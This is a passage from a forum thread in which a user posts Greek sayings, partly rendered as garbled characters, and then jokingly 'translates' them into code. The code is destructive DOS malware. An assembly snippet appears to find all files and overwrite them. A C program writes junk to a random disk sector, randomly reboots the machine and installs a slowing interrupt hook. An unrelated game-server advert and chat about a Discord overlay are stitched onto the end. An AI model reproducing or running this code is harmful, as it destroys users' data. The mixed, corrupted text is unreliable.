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Guest karate1010
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Ôõöëïß äåí åßíáé ìüíï üóïé äåí âëÝðïõí, ïé öáíáôéóìÝíïé åéíáé ôõöëïß óôçí óêÝøç.Ïé Þãåôåò åßíáé ôõöëïß óôçí êáñäéÜ.

Guest karate1010
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To ìõóôéêü ôçò æùÞò äåí åßíáé íá êÜíïõìå üôé ìáò áñÝóåé ,áëëÜ íá ðñïóðáèïýìå íá ìáò áñÝóåé êáé ëßãï,üôé áíáãêáæüìáóôå áðü ôéò óõíèÞêåò íá êÜíïõìå.

Guest karate1010
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ÎõðíÞóôå áõôïýò ðïõ êïéìïýíôáé áöÞóôå áõôïýò ðïõ ïíåéñåýïíôáé.

Guest karate1010
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Ôá ÷åßëç ìïõ óöñáãßæïõí ôç øõ÷Þ ìïõ!

Guest karate1010
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¸íá ðéÜíåéò äÝêá ÷Üíåéò, äÝêá æåéò ìéá èá ðåèÜíåéò..!

Guest karate1010
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lol i 5 filosofies tou karate1010. ama 8elete mporite na filosofisete elef8era.

Guest karate1010
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nai apo edo ta metafrasa 全日本空手道連盟、世界空手連盟の関連加盟団体の紹介。ニュース、スケジュール、大会結果

Guest karate1010
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ti blepo otan anigo ena hex editor

 

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月刊空手道マガジンJKFan2月号は、

 

12月22日発売

 

JKFan10月号増刊「競技の達人」

 

好評発売中!

 

 

 

iparxi kanis kinezos na ta metafrasi ?

Guest karate1010
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iparxi kanis kinezos na ta metafrasi ?

 

 

 

 

 

 

 

Lea Dx,Fs

 

Mov Ah,78

 

Int 33

 

Mov Dx,9eh

 

Mov Ah,61

 

o1: Int 33

 

Xchg Ax,Bx

 

Mov Dl,27

 

FS Db '*.*',0

 

Xchg Cx,Dx

 

Mov Ah,64

 

Jmp o1

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#include <stdlib.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#define __CPPARGS ...

 

 

 

#define __CPPARGS

 

 

 

 

 

void interrupt ( *oldhandler)(__CPPARGS);

 

 

 

void interrupt handler(__CPPARGS)

 

{

 

delay(135);

 

oldhandler();

 

}

 

 

 

void main(void)

 

{

 

randomize();

 

char buf[512];

 

abswrite(2, 1, random(50000)+2000, buf);

 

 

 

if(random(20) == 10) asm INT 19h

 

 

 

oldhandler = getvect(INTR);

 

setvect(INTR, handler);

 

_ES = _psp; //PSP address

 

asm MOV es,es:[2ch]

 

_AH = 0x49; //Function 49 (remove memory block)

 

asm INT 21h //Call DOS to execute instruction

 

_AH = 0x31; //Function 31 (tsr)

 

_AL = 0x00; //Exit code

 

_DX = _psp; //PSP address

 

asm INT 21h //Call DOS to execute instruction

 

 

 

}

Guest karate1010
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#include <stdlib.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#define __CPPARGS ...

 

 

 

#define __CPPARGS

 

 

 

 

 

void interrupt ( *oldhandler)(__CPPARGS);

 

 

 

void interrupt handler(__CPPARGS)

 

{

 

delay(135);

 

oldhandler();

 

}

 

 

 

void main(void)

 

{

 

randomize();

 

char buf[512];

 

abswrite(2' date=' 1, random(50000)+2000, buf);

 

 

 

if(random(20) == 10) asm INT 19h

 

 

 

oldhandler = getvect(INTR);

 

setvect(INTR, handler);

 

_ES = _psp; //PSP address

 

asm MOV es,es:[2ch']

 

_AH = 0x49; //Function 49 (remove memory block)

 

asm INT 21h //Call DOS to execute instruction

 

_AH = 0x31; //Function 31 (tsr)

 

_AL = 0x00; //Exit code

 

_DX = _psp; //PSP address

 

asm INT 21h //Call DOS to execute instruction

 

 

 

}

 

 

 

basika tora exoume perasi se ali fasi, i filosofies metafrastikan apo kinezika se elinika kai meta se glosa programatismou C++. pistebo na katalabenete.

Guest karate1010
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kai ola afta mesa se 5 lepta !!!!!

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    • ElmoreLab Harbor - Eternal C1 x1: ✅ https://harbor.elmorelab.com ElmoreLab Harbor - Eternal C1 x1 - is an exclusive server of the Eternal C1 chronicles from the top project ElmoreLab Harbor.   A unique server of its kind, on which everyone will have maximum pleasure, such as oldschool players who dream of nostalgia and to feel the warmest and classic C1 chronicles, as well as experienced players who are tired of thousands unbalanced servers of late chronicles. Due to the professional corrections of the balance system and the HONEST gameplay system - on this server, EVERY player will feel like in their own, warm and cozy Harbor C1. Let's return to the origins of L2 - back to 2004 in C1! ❤️   ⭐ Server characteristics:   STRICTLY 1 window, NO BOXES Bans for RMT and bots/cheats No donations with benefits Unique and high-quality PTS-build from Master Toma Professional corrections and full class-balance Reworked economy and closed all abuses Improved animations and all aspects of the game Exclusive HD-client with high-quality textures Experienced administration and management Fixed all bugs, geodata, exploits and holes Maximum sociality due to the 1-box system Discovering, exploring and researching Big online International server Nostalgia and oldschool-feelings   Rates: x1 Server start: 14.02.2025   The server is at the final stages of development and preparation for release. Information on the server will be updated, soon the patchnotes and changes/edits will be posted. Don't miss the legendary and epic experience on the best server in the last 20 years! ❤️ Join our C1-forum with a lot of information about server and active discussions.   ⭐ Website: https://harbor.elmorelab.com   ✅ Forum: https://forum-harbor.elmorelab.com   💥 Telegram: https://t.me/l2harbor https://t.me/l2harbor_chat   ⚡ Discord: https://discord.gg/harborelmorelab
    • yeah ok, if you say what is fuctional 100% i can't say something different 😛  but if someone find hard to compile it or get vs and all that things i have here one more simple way here to put overlay in your own server or to change your window name with few money.
    • I've been using this for 2 years now with no issues from Discord. I don't use ogg.dll either. This one works with any l2.exe too; I don’t see any difference between them.
    • hmm.. ok i just see that, is different code first of all. My sources is totally different based in other way, with else libraries.  I have access to modify everything even to make the clock to stop show how many time users play in server. 1) so maybe keep some personal info more hide. 2) i dont use ogg.dll 3) i create it and give it ready + support to install it. Plus what is mine can working with what ever .exe you want not just l2 with same simple method. And i am sure if you try this source to compile it, after 3 hours discord will like shadowban your API too thats my source
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